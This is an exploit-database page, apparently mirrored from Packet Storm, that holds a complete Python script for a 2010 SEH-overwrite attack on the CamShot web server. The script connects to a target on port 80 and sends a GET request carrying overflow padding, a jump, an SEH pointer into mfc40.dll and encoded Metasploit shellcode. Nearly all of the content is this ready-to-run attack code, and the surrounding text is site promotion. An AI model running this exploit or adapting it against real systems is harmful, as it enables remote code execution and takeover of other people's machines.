Lucene search
K

CamShot SEH Overwrite Exploit

🗓️ 27 Jan 2010 00:00:00Reported by tecnikType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 22 Views

CamShot SEH Overwrite Exploit using Metasploit shellcode to overwrite SEH to mfc40.dl

Code
`# CamShot SEH overwrite by tecnik  
  
import socket, sys  
  
if len(sys.argv)!=2:  
print "Usage: camshot.py <target>"  
exit()  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((sys.argv[1],80))  
  
print "Sending Exploit to:" + sys.argv[1]  
  
# GET request + overflow string  
request ="GET /"  
request +="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"  
# short jump over SE Handler Addr overwrite  
request +="\x90\x90\xEB\x07"  
# overwrite SEH to point to mfc40.dll (no SafeSeh) JMP [EBP-4]  
request +="\x9A\xF7\xA9\x61"  
# NOP's I haven't cleaned up; SUB EBP,-508; XCHG EBP,EDX; (to setup Base Addr for ALPHA3 encoded shellcode)  
request +="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x81\xED\xF8\xFA\xFF\xFF\x90\x90\x87\xEA"   
  
# ALPHA3 encoded (lowercase ascii with EDX base) Metasploit shellcode  
request +="j314d34djq34djk34d1421r11r7j314d34dj234dkmr502dr5o0d25usz85561k20213o83060499913o2656e327e79ld1303l2k88gnd0x3xmxlk856c7cn40k049kle6570ob0xkk9d3901ok5d3dnx5c0emxn831o57cox6x5d4b5dng6fkg322532l911l4of4k8k3x89ldmc151xj953nfkx6f333c19l0me645g1254okmel505023co30eo87fm178jg30m8n2l14g4c8el342997b5x9xn049845xok4415503g3gn41fmdlb6fnk629cjkk2j59878n23e413881nb9c1fme241gl1nx0e711369ne90j13e0b120dke581d42121co07c83k2lele4x5k3d7go84d9c015x038d32l5o36g088c0b930229j9oe7x332bjg8f3825nk422081888clx9g0k3cl5j8kf7139197"  
  
  
request +=" HTTP/1.1\r\n"  
request +="HOST: 127.0.0.1\r\n\r\n"  
  
s.send(request)  
  
print "Done."  
  
s.close()  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Jan 2010 00:00Current
0.5Low risk
Vulners AI Score0.5
22